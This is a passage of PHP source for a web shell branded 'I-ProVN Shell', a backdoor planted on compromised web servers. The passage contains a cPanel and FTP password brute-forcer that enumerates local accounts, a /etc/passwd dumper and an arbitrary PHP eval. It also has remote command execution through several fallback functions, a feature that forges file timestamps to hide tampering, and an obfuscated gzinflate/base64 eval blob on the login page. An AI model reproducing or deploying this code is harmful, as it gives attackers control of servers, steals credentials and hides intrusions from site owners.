  1324. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
  1325. $i = 0;
  1326. while ($i < 60000) {
  1327.  
  1328.     $line = posix_getpwuid($i);
  1329.     if (!empty($line)) {
  1330.  
  1331.         while (list ($key, $vba_etcpwd) = each($line)){
  1332.             echo "".$vba_etcpwd."\n";
  1333.             break;
  1334.         }
  1335.  
  1336.     }
  1337.  
  1338.    $i++;
  1339. }
  1340. echo "
  1341. </textarea>
  1342. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
  1343. <br>
  1344. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  1345. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
  1346. </td></tr></table></td></tr></form><p align= 'left'>";
  1347. ?>
  1348. <?php
  1349. function ftp_check($host,$user,$pass,$timeout){
  1350. $ch = curl_init();
  1351. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  1352. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1353. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1354. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1355. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1356. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1357. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1358. $data = curl_exec($ch);
  1359. if ( curl_errno($ch) == 28 ) {
  1360.  
  1361. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1362. exit;}
  1363.  
  1364. elseif ( curl_errno($ch) == 0 ){
  1365.  
  1366. p("<b>[ attack@vbateam.net ]# </b>
  1367.  
  1368. <b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
  1369. }
  1370. curl_close($ch);}
  1371.  
  1372. function cpanel_check($host,$user,$pass,$timeout){
  1373. $ch = curl_init();
  1374. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  1375. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1376. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1377. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  1378. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1379. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1380. $data = curl_exec($ch);
  1381. if ( curl_errno($ch) == 28 ) {
  1382. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  1383. exit;}
  1384. elseif ( curl_errno($ch) == 0 ){
  1385.  
  1386. p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
  1387.  
  1388. if(isset($submit) && !empty($submit)){
  1389.  
  1390. $userlist = explode ("\n" , $users );
  1391. $passlist = explode ("\n" , $pass );
  1392. p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
  1393. foreach ($userlist as $user) {
  1394. $_user = trim($user);
  1395. foreach ($passlist as $password ) {
  1396. $_pass = trim($password);
  1397. if($option == "ftp"){
  1398. ftp_check($target,$_user,$_pass,$connect_timeout);
  1399. }
  1400. if ($option == "cpanel")
  1401. {
  1402. cpanel_check($target,$_user,$_pass,$connect_timeout);
  1403. }
  1404. }
  1405. }
  1406. }
  1407.  
  1408.         formfoot();
  1409. }
  1410.  
  1411.  
  1412.  
  1413.  
  1414.  
  1415.  
  1416. elseif ($action == 'etcpwd') {
  1417. formhead(array('title'=>'Get /etc/passwd'));
  1418.         makehide('action','etcpwd');
  1419.         makehide('dir',$nowpath);
  1420. $i = 0;
  1421.  echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  1422. while ($i < 60000) {
  1423.  
  1424.     $line = posix_getpwuid($i);
  1425.     if (!empty($line)) {
  1426.  
  1427.         while (list ($key, $vba_etcpwd) = each($line)){
  1428.             echo "".$vba_etcpwd."\n";
  1429.             break;
  1430.         }
  1431.  
  1432.     }
  1433.  
  1434.    $i++;
  1435. }
  1436.   echo "</textarea></p>";
  1437.         formfoot();
  1438. }
  1439.  
  1440. elseif ($action == 'eval') {
  1441.         $phpcode = trim($phpcode);
  1442.         if($phpcode){
  1443.                 if (!preg_match('#<\?#si', $phpcode)) {
  1444.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1445.                 }
  1446.                 eval("?".">$phpcode<?");
  1447.         }
  1448.         formhead(array('title'=>'Eval PHP Code'));
  1449.         makehide('action','eval');
  1450.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1451.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
  1452.         formfooter();
  1453. }//end eval
  1454.  
  1455. elseif ($action == 'editfile') {
  1456.         if(file_exists($opfile)) {
  1457.                 $fp=@fopen($opfile,'r');
  1458.                 $contents=@fread($fp, filesize($opfile));
  1459.                 @fclose($fp);
  1460.                 $contents=htmlspecialchars($contents);
  1461.         }
  1462.         formhead(array('title'=>'Create / Edit File'));
  1463.         makehide('action','file');
  1464.         makehide('dir',$nowpath);
  1465.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1466.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1467.         formfooter();
  1468. }//end editfile
  1469.  
  1470. elseif ($action == 'newtime') {
  1471.         $opfilemtime = @filemtime($opfile);
  1472.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1473.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1474.         formhead(array('title'=>'Clone file was last modified time'));
  1475.         makehide('action','file');
  1476.         makehide('dir',$nowpath);
  1477.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1478.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1479.         formfooter();
  1480.         formhead(array('title'=>'Set last modified'));
  1481.         makehide('action','file');
  1482.         makehide('dir',$nowpath);
  1483.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1484.         p('<p>Instead &raquo;');
  1485.         p('year:');
  1486.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1487.         p('month:');
  1488.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1489.         p('day:');
  1490.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1491.         p('hour:');
  1492.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1493.         p('minute:');
  1494.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1495.         p('second:');
  1496.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1497.         p('</p>');
  1498.         formfooter();
  1499. }//end newtime
  1500.  
  1501. elseif ($action == 'shell') {
  1502.         if (IS_WIN && IS_COM) {
  1503.                 if($program && $parameter) {
  1504.                         $shell= new COM('Shell.Application');
  1505.                         $a = $shell->ShellExecute($program,$parameter);
  1506.                         m('Program run has '.(!$a ? 'success' : 'fail'));
  1507.                 }
  1508.                 !$program && $program = 'c:\windows\system32\cmd.exe';
  1509.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1510.                 formhead(array('title'=>'Execute Program'));
  1511.                 makehide('action','shell');
  1512.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1513.                 p('<p>');
  1514.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1515.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1516.                 p('</p>');
  1517.                 formfoot();
  1518.         }
  1519.         formhead(array('title'=>'Execute Command'));
  1520.         makehide('action','shell');
  1521.         if (IS_WIN && IS_COM) {
  1522.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1523.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1524.         }
  1525.         p('<p>');
  1526.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1527.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1528.         p('</p>');
  1529.         formfoot();
  1530.  
  1531.         if ($command) {
  1532.                 p('<hr width="100%" noshade /><pre>');
  1533.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1534.                         $wsh = new COM('WScript.shell');
  1535.                         $exec = $wsh->exec('cmd.exe /c '.$command);
  1536.                         $stdout = $exec->StdOut();
  1537.                         $stroutput = $stdout->ReadAll();
  1538.                         echo $stroutput;
  1539.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1540.                         $descriptorspec = array(
  1541.                            0 => array('pipe', 'r'),
  1542.                            1 => array('pipe', 'w'),
  1543.                            2 => array('pipe', 'w')
  1544.                         );
  1545.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1546.                         if (is_resource($process)) {
  1547.                                 fwrite($pipes[0], $command."\r\n");
  1548.                                 fwrite($pipes[0], "exit\r\n");
  1549.                                 fclose($pipes[0]);
  1550.                                 while (!feof($pipes[1])) {
  1551.                                         echo fgets($pipes[1], 1024);
  1552.                                 }
  1553.                                 fclose($pipes[1]);
  1554.                                 while (!feof($pipes[2])) {
  1555.                                         echo fgets($pipes[2], 1024);
  1556.                                 }
  1557.                                 fclose($pipes[2]);
  1558.                                 proc_close($process);
  1559.                         }
  1560.                 } else {
  1561.                         echo(execute($command));
  1562.                 }
  1563.                 p('</pre>');
  1564.         }
  1565. }//end shell
  1566.  
  1567. elseif ($action == 'phpenv') {
  1568.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1569.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1570.         !$dis_func && $dis_func = 'No';
  1571.         $info = array(
  1572.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1573.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1574.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1575.                 4 => array('Server OS',PHP_OS),
  1576.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1577.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1578.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1579.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1580.                 9 => array('The file path',__FILE__),
  1581.  
  1582.                 10 => array('PHP Version',PHP_VERSION),
  1583.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1584.                 12 => array('Safe Mode',getcfg('safe_mode')),
  1585.                 13 => array('Administrator',$adminmail),
  1586.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1587.                 15 => array('enable_dl',getcfg('enable_dl')),
  1588.                 16 => array('display_errors',getcfg('display_errors')),
  1589.                 17 => array('register_globals',getcfg('register_globals')),
  1590.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1591.                 19 => array('memory_limit',getcfg('memory_limit')),
  1592.                 20 => array('post_max_size',getcfg('post_max_size')),
  1593.                 21 => array('upload_max_filesize',$upsize),
  1594.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1595.                 23 => array('disable_functions',$dis_func),
  1596.         );
  1597.  
  1598.         if($phpvarname) {
  1599.                 m($phpvarname .' : '.getcfg($phpvarname));
  1600.         }
  1601.  
  1602.         formhead(array('title'=>'Server environment'));
  1603.         makehide('action','phpenv');
  1604.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1605.         formfooter();
  1606.  
  1607.         $hp = array(0=> 'Server', 1=> 'PHP');
  1608.         for($a=0;$a<2;$a++) {
  1609.                 p('<h2>'.$hp[$a].' &raquo;</h2>');
  1610.                 p('<ul class="info">');
  1611.                 if ($a==0) {
  1612.                         for($i=1;$i<=9;$i++) {
  1613.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1614.                         }
  1615.                 } elseif ($a == 1) {
  1616.                         for($i=10;$i<=23;$i++) {
  1617.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1618.                         }
  1619.                 }
  1620.                 p('</ul>');
  1621.         }
  1622. }//end phpenv
  1623.  
  1624. else {
  1625.         m('Undefined Action');
  1626. }
  1627.  
  1628. ?>
  1629.  
  1630. </td></tr></table>
  1631. <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
  1632.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1633.         Copyright (C) 2011-2012 <B></B> - Develop by <a href=http://i-provn.tk target=_blank><B>I-ProVN   </B></a> - <B>- VN Security Team</B> All Rights Reserved.
  1634. </div>
  1635. </body>
  1636. </noscript>
  1637.  
  1638. <?php
  1639.  
  1640. /*======================================================
  1641. Show info shell
  1642. ======================================================*/
  1643.  
  1644. function m($msg) {
  1645.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1646.         echo $msg;
  1647.         echo '</div>';
  1648. }
  1649. function scookie($key, $value, $life = 0, $prefix = 1) {
  1650.         global $admin, $timestamp, $_SERVER;
  1651.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1652.         $life = $life ? $life : $admin['cookielife'];
  1653.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1654.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1655. }
  1656. function multi($num, $perpage, $curpage, $tablename) {
  1657.         $multipage = '';
  1658.         if($num > $perpage) {
  1659.                 $page = 10;
  1660.                 $offset = 5;
  1661.                 $pages = @ceil($num / $perpage);
  1662.                 if($page > $pages) {
  1663.                         $from = 1;
  1664.                         $to = $pages;
  1665.                 } else {
  1666.                         $from = $curpage - $offset;
  1667.                         $to = $curpage + $page - $offset - 1;
  1668.                         if($from < 1) {
  1669.                                 $to = $curpage + 1 - $from;
  1670.                                 $from = 1;
  1671.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1672.                                         $to = $page;
  1673.                                 }
  1674.                         } elseif($to > $pages) {
  1675.                                 $from = $curpage - $pages + $to;
  1676.                                 $to = $pages;
  1677.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
  1678.                                         $from = $pages - $page + 1;
  1679.                                 }
  1680.                         }
  1681.                 }
  1682.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1683.                 for($i = $from; $i <= $to; $i++) {
  1684.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1685.                 }
  1686.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1687.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1688.         }
  1689.         return $multipage;
  1690. }
  1691. // Login page
  1692. function loginpage() {
  1693. ?><div style="font:0px Trebuchet MS; color:#AAA98;">
  1694. <? eval(gzinflate(base64_decode('
  1695. tVltb9s2EP6sAPkPrBFU0uaXLF33oV7ipYnjGEjs
  1696. wHa7oV4gyBKdqJElT5LjZIX/+46kXkiKstt01YdE
  1697. Iu/luePxjkd3Tn7vLO+X+3sunnsBNvSL/lXXmgyt
  1698. 7nl/oteR7gUufmoCiW629/cOnNDFlhd8xk6CjpFO
  1699. mRF27kP0x9zzsXWHE8sJgwQHSWzM7Bj/9qvlYsJl
  1700. 1OzL0aFzHj5evXHfuM9vl7Pex2f7T9efnb39PDs6
  1701. fHSPPnrOkX/4afx2bV+etpzeRfBpcvhUM8026pzo
  1702. RP959/2HnnU9PO8eJ9EKw5AXeFaME6PmevHSt58t
  1703. HEVhFNfq6BeCuNXqFA/i//F/2QPyr/sDi7rgqjvo
  1704. TS7BxqNDKgXJIsrs7AOExPYSW3FiR4m1sKMHHFFX
  1705. vWo00NK+w8ixnXuMGg1mESXGgSuTwpCCvADS6dRF
  1706. CCDLdl3Lnic4Au2RF9xRYa1Z6D4zXdfd8fi017Vu
  1707. Rt2L/l8wa0eR/Wzs72n7e8RZsqFItPke2y6OSDC0
  1708. 5mGYsFcRU/72Dt354ayOIKpc0BxhZxXF3iO25qvA
  1709. SbwwINgIiS7pLakVoBSepwb3robvT6+scXcy6Q96
  1710. Y84iBI/uLGJraUf2ItbJ9/EJ+SuQaOzRP4fhwrcz
  1711. qtwt9EHco0dguDUPfXBEumJ6waEneAExmOBYN+tK
  1712. 9uQeL3CcCqjgVDGK4vh3TV+HkbuMcBx/N/z1spFu
  1713. XrL14csLHH/lvsCcQlKL0VSYxQ0SFdmq6RwNCNX1
  1714. bM4NndUCpFrEEJ3NZbF7QLcciatWECYN/OTFBAB2
  1715. GxF5CAPZBIAQaEiiEoQZcjAxod7c8GKLWUVYTfML
  1716. g5JrI6NTCdhtOyWSZE6pcbc5F/0C2k2hyvUig8nO
  1717. VdH8WnsP2RQm36Fak803a38HtUpFEiCiknIxbdiP
  1718. sSD9LFz5LgK/Ec+gGdP1KhMPvkwymGSzNv7vZ38v
  1719. zwuKlYH8nkA6iwvf4+gRIvgBP8f5ntfPh2cfrruD
  1720. iTUaDmntGp+N+jcTms8Hp9ddMjQc9XvWzenk0pqM
  1721. Tgfjq9NJ95xWNiqW2x0kjPR0fB5GGJKwIai1Y3QA
  1722. Lxkk8sACGjBk0ciLDTJdRwewJqOP3ZFp8qSSWGbe
  1723. lE9Yt1QDDJAgPygmZCmcJGRwdFPVXmdC2YdKUGpF
  1724. FoYp9Cmx5LZZa0HkpbxVzAo3ilLaar6NepgLU6Wm
  1725. B5APpS7ylmEswa0jHm+7WgjYC3JeHR+juQ3qtlmm
  1726. sC5ezQBASfdhHTUMmPBxIM2ZqAG4zW2INt/kI269
  1727. OGhbV6h6JsLJKgqEErntUeRjHkT9KySk2T4N8u0M
  1728. 5tdHjzTEfaav6T/2NzWbBgDLcz84x8HBx8rPRMYB
  1729. rF6e2wBLntMyg9MpILN8yC2kfoEEygfb8ic47JL8
  1730. bw2G4+FokjGRwC44VPHNUn+XHJhRuMQByuoLlUuq
  1731. CxcqqY8IvrbgwjyP5cpIkiHtQGAvsJQgs1DNp00k
  1732. BSrvAGuBozvwDwzVS04rRAAeDcBoinQBKkkxI3Qc
  1733. B3UH3+qodgvROqWFM+NrvySoUof9qJii4GIhYuK1
  1734. l5D1KB+6MzMdcEl6/EbvFOmABcaHmPQQuuR3U0eZ
  1735. uOL8IfjN9n0rQyUvGjvZqLho/ziz3XztV4H3zwpY
  1736. cnEqtjz4cvY8+rZlQBaJ68hL7JmfRoZpMl8Wa97e
  1737. mldmoPmhzTuUNDvg0DIXqMt8lp0OdPyEHX1rmhZW
  1738. gZLv8HzuS9+OE9iKAQZLCKNRI9DQF+b+DWokz0uM
  1739. 5qhBohrptSa/F5o1HTUy10BqOah0/qZcUHinuHhu
  1740. r/zkXWV8BQ9BuA4QCQ8SHbl1NAeVo5c/8KrLWab9
  1741. R202qR9gjkGvXyMnXAVJPnCCDsWz+wVMu2CUQNas
  1742. IfrCjFIdygcho0BrHIF3iBDuyF/e+CQ4ieVLaP6h
  1743. JCtbGmHDxKXNwvaRayc2fwJmowFeCzPpHPiDTnuB
  1744. JfSD6DgvqMJOVfVE+al3WtEy3U6lZpMdZYUxqdTA
  1745. 8YseCwm4+u4Oqam39KYksPpYuM3q9GaKJ+e3Rble
  1746. kEpdKY9AIBJ5BKS39oJcy4YPGmovhAlC+eGByC9u
  1747. zmjx4yVW8LVanJq09csAcPc1pYubgkoIpvL9IAu8
  1748. tkzPhVkhoK3SLahWXEJxkvnrOAvCgjUOeXxQHRAk
  1749. pas7AV5xTbdLREFplpAjxTWXeA3JN5Rl5CS7kJxj
  1750. yHhOymYK9UUrr1qKR1445WKwVgeK+dK3HbzDb03+
  1751. qrgpO6VeRlovubehWLWfUdZUyW6W69NBhtwC8rvk
  1752. nq0WZRUMk/kyH6GKJSrfU3ZKJ86SblgZ6WZZziea
  1753. 6gZUeSaNs720XMl7qY622ybsnkodxACqZldLnLYP
  1754. o9FwRCs20V1VoxUtWkVzr8kIVRhlnLLHdx+rbqLQ
  1755. wdjF7k7oW3rvMtQ64jZUNfYdFxtZ+YdWyvcR3X/k
  1756. QAZL/VK01f3wFjgMRv8ugNLNKUYGeJvGIIq9fzHy
  1757. YpSEIYoXANYsoyq3SVIF4R0Gu179IwB54zpXEbCW
  1758. 3QSVsrH8kwi/JbJIkxKy9LsKKv8YIYtQrbbG7pW4
  1759. oyD7vaGcVvmcKsNVWNB8QbKtzAraptId8qKgUq2V
  1760. q4bcf5eMbR5/c6WowvqS9C4sFhJsVK4gXwqEaKhn
  1761. Iw2OH5WX/+vKgPZ9CV7bnt21naldoNC2JXVN2taa
  1762. IodoO3O5SLEri4vU2q7kLZJvduNRJGzJISq7tG/I
  1763. 0NshbdQBvqFH7s7J753/AA==
  1764. '))); ?></div>
  1765. <html>
  1766. <head>
  1767.  
  1768. <body bgcolor=black background=1.jpg>
  1769.  
  1770.                 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  1771. <title>.::[  I-ProVN Shell ]::. </title>
  1772. <style type="text/css">
  1773. A:link {text-decoration: none; color: green }
  1774. A:visited {text-decoration: none;color:red}
  1775. A:active {text-decoration: none}
  1776. A:hover {text-decoration: underline; color: green;}
  1777. input, textarea, button
  1778. {
  1779.         font-size: 11pt;
  1780.         color:  #FFFFFF;
  1781.         font-family: verdana, sans-serif;
  1782.         background-color: #000000;
  1783.         border-left: 2px dashed #8B0000;
  1784.         border-top: 2px dashed #8B0000;
  1785.         border-right: 2px dashed #8B0000;
  1786.         border-bottom: 2px dashed #8B0000;
  1787. }
  1788.  
  1789. </style>
  1790.  
  1791.        <BR><BR>
  1792. <div align=center >
  1793.  
  1794. <div>
  1795.  
  1796. <font color=gray>
  1797. <br /><br /><br /><br /><br />
  1798.  
  1799. <form method="POST" action="">
  1800.         <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
  1801.         <input type="hidden" name="doing" value="login">
  1802.         <input type="submit" value="Login">
  1803.         </form>
  1804. <BR>
  1805. <?php
  1806. echo "".$err_mess."";
  1807. ?>
  1808.  
  1809.         <B><font color=red>
  1810.  
  1811.  
  1812.  
  1813.  
  1814.  
  1815.  
  1816. </div>
  1817.  
  1818.  
  1819.         </fieldset>
  1820.  
  1821.  
  1822.  
  1823. </head>
  1824. </html>
  1825.  
  1826. <?php
  1827.         exit;
  1828.  
  1829. }//end loginpage()
  1830.  
  1831. function execute($cfe) {
  1832.         $res = '';
  1833.         if ($cfe) {
  1834.                 if(function_exists('exec')) {
  1835.                         @exec($cfe,$res);
  1836.                         $res = join("\n",$res);
  1837.                 } elseif(function_exists('shell_exec')) {
  1838.                         $res = @shell_exec($cfe);
  1839.                 } elseif(function_exists('system')) {
  1840.                         @ob_start();
  1841.                         @system($cfe);
  1842.                         $res = @ob_get_contents();
  1843.                         @ob_end_clean();
  1844.                 } elseif(function_exists('passthru')) {
  1845.                         @ob_start();
  1846.                         @passthru($cfe);
  1847.                         $res = @ob_get_contents();
  1848.                         @ob_end_clean();
  1849.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1850.                         $res = '';
  1851.                         while(!@feof($f)) {
  1852.                                 $res .= @fread($f,1024);
  1853.                         }
  1854.                         @pclose($f);
  1855.                 }
  1856.         }
  1857.         return $res;
  1858. }
  1859. function which($pr) {
  1860.         $path = execute("which $pr");
  1861.         return ($path ? $path : $pr);
  1862. }
  1863.  
  1864. function cf($fname,$text){
  1865.         if($fp=@fopen($fname,'w')) {
  1866.                 @fputs($fp,@base64_decode($text));
  1867.                 @fclose($fp);
  1868.         }
  1869. }
  1870.  
  1871. // Debug
  1872. function debuginfo() {
  1873.         global $starttime;
  1874.         $mtime = explode(' ', microtime());
  1875.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1876.         echo 'Processed in '.$totaltime.' second(s)';
  1877. }
  1878.  
  1879. // Function connect database
  1880. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1881.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1882.                 p('<h2>Can not connect to MySQL server</h2>');
  1883.                 exit;
  1884.         }
  1885.         if($link && $dbname) {
  1886.                 if (!@mysql_select_db($dbname, $link)) {
  1887.                         p('<h2>Database selected has error</h2>');
  1888.                         exit;
  1889.                 }
  1890.         }
  1891.         if($link && mysql_get_server_info() > '4.1') {
  1892.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1893.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1894.                 }
  1895.         }
  1896.         return $link;
  1897. }
  1898.  
  1899. // Array strip
  1900. function s_array(&$array) {
  1901.         if (is_array($array)) {
  1902.                 foreach ($array as $k => $v) {
  1903.                         $array[$k] = s_array($v);
  1904.                 }
  1905.         } else if (is_string($array)) {
  1906.                 $array = stripslashes($array);
  1907.         }
  1908.         return $array;
  1909. }
  1910.  
  1911. // HTML Strip
  1912. function html_clean($content) {
  1913.         $content = htmlspecialchars($content);
  1914.         $content = str_replace("\n", "<br />", $content);
  1915.         $content = str_replace("  ", "&nbsp;&nbsp;", $content);
  1916.         $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1917.         return $content;
  1918. }
  1919.  
  1920. // Chmod
  1921. function getChmod($filepath){
  1922.         return substr(base_convert(@fileperms($filepath),10,8),-4);
  1923. }
  1924.  
  1925. function getPerms($filepath) {
  1926.         $mode = @fileperms($filepath);
  1927.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1928.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1929.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1930.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1931.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1932.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1933.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1934.         else {$type = '?';}
  1935.  
  1936.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1937.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1938.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1939.         $group['read'] = ($mode & 00040) ? 'r' : '-';
  1940.         $group['write'] = ($mode & 00020) ? 'w' : '-';
  1941.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1942.         $world['read'] = ($mode & 00004) ? 'r' : '-';
  1943.         $world['write'] = ($mode & 00002) ? 'w' : '-';
  1944.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1945.  
  1946.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1947.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1948.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1949.  
  1950.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1951. }
  1952.  
  1953. function getUser($filepath)     {
  1954.         if (function_exists('posix_getpwuid')) {
  1955.                 $array = @posix_getpwuid(@fileowner($filepath));
  1956.                 if ($array && is_array($array)) {
  1957.                         return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1958.                 }
  1959.         }
  1960.         return '';
  1961. }
  1962.  
  1963. // Delete dir
  1964. function deltree($deldir) {
  1965.         $mydir=@dir($deldir);
  1966.         while($file=$mydir->read())     {
  1967.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1968.                         @chmod($deldir.'/'.$file,0777);
  1969.                         deltree($deldir.'/'.$file);
  1970.                 }
  1971.                 if (is_file($deldir.'/'.$file)) {
  1972.                         @chmod($deldir.'/'.$file,0777);
  1973.                         @unlink($deldir.'/'.$file);
  1974.                 }
